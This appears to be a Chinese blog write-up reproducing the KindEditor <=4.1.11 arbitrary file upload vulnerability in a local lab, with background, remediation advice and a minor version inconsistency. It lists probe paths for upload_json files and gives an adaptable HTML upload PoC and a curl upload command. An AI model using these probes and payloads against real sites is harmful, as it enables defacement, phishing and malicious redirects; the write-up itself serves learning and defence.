在近期的一次渗透测试过程中无意间遇到了使用KindEditor编辑器的环境,发现了这个比较老的漏洞,本文旨在复现学习并记录一下。

一、漏洞简介

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。

KindEditor使用JavaScript编写,可以无缝与Java、.NET、PHP、ASP等程序接合。KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。2006年7月首次发布2.0以来,KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率,目前在国内已经成为最受欢迎的编辑器之一。

在 2019年2月份时,安全监测平台和应急响应中心监测曾发现近百起党政机关网站被植入色情广告页面,分析发现被植入色情广告页面的网站都使用了KindEditor编辑器组件。该安全事件主要是由于upload_json.*上传功能文件允许被直接调用从而实现上传htm、html、txt等文件到服务器,在实际已监测到的安全事件案例中,上传的htm、html文件中存在包含跳转到违法色情等网站的代码,攻击者主要针对党政机关网站实施批量上传,建议使用该组件的网站系统做好安全加固配置,防止被恶意攻击。

二、漏洞描述

漏洞存在于小于等于kindeditor4.1.1版本的编辑器里,允许上传.txt和 .html等格式的文件,支持php/asp/jsp/asp.net等环境。upload_json.*等上传功能文件不会清理用户输入或者检查用户是否将任意文件上传到系统,从而攻击者可实现通过构造一个恶意的 html文件来实现跳转、钓鱼等目的。

三、影响范围

影响版本如下:

kindeditor版本<=4.1.11

四、漏洞验证

本地环境搭建 KindEditor 4.1.11

https://lmpan.lmboke.com/kindeditor-4.1.11-zh-CN.zip

在phpstudy的安装目录下:D:\phpstudy_pro\WWW\(网站目录),拷入kindeditor-4.1.11的源码

640

测试访问

访问测试的地址

http://127.0.0.1/kindeditor-4.1.11/php/demo.php

出现如下界面说明正常解析,可以进行编辑和上传

640 (1)

查看版本信息:

http://127.0.0.1/kindeditor-4.1.11/kindeditor-all.js

显示如下,版本为 4.1.11,是存在漏洞的版本。

640 (2)

进行尝试如下路径,查看是否存在有必要验证文件 upload_json.*,常见判断路径如下:

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

也可以提前判断系统的语言,这里我们复现采用的是php的环境,因此访问

http://127.0.0.1/kindeditor-4.1.11/php/upload_json.php?dir=file

返回状态码200,显示存在。否则显示404,not found 。

640 (3)

利用该漏洞的方式有两种,下面对两种方式分别进行复现演示

方法一、本地构造POC

poc代码如下,根据不同目标进行修改即可

<html>
 <head>
 
    <title>Uploader</title>
 
    <script src="http://127.0.0.1/kindeditor-4.1.11/kindeditor-all.js"></script>
 
    <script>
 
        KindEditor.ready(function (K) {
 
            var uploadbutton = K.uploadbutton({
 
                button: K('#uploadButton')[0],
                fieldName: 'imgFile',
                url: 'http://127.0.0.1/kindeditor-4.1.11/php/upload_json.php?dir=file',
                afterUpload: function (data) {
                    if (data.error === 0) {
                        var url = K.formatUrl(data.url, 'absolute');
                        K('#url').val(url);
                    }
                },
            });
 
            uploadbutton.fileBox.change(function (e) {
 
                uploadbutton.submit();
 
            });
 
        });
</script>
 </head>
 <body>
 
 <div class="upload">
 
    <input class="ke-input-text" type="text" id="url" value="" readonly=“readonly”/>
 
    <input type="button" id="uploadButton" value="Upload"/>
 
 </div>
 
 </body>
 
 </html>

本地访问该html文件显示如下,选择并上传test.html,会返回访问路径。

640 (4)

640 (5)

在返回的目录下可以看到文件已经成功上传了

640 (6)

访问链接显示如下

640 (7)

方法二、CURL提交文件

curl -F "imgFile=@ceshi.html" http://127.0.0.1/kindeditor-4.1.11/php/upload_json.php?dir=file
 通过curl模拟post请求上传ceshi.html文件

640 (8)

四、漏洞修复

安全运营方面建议:直接删除upload_json.*和file_manager_json.*即可。

安全开发生命周期(SDL)建议:KindEditor编辑器早在2017年就已被披露该漏洞详情,建议网站建设单位经常关注其系统使用的框架、依赖库、编辑器等组件的官方安全更新公告,采用最新版本的KindEditor并增加白/黑名单控制上传文件的类型。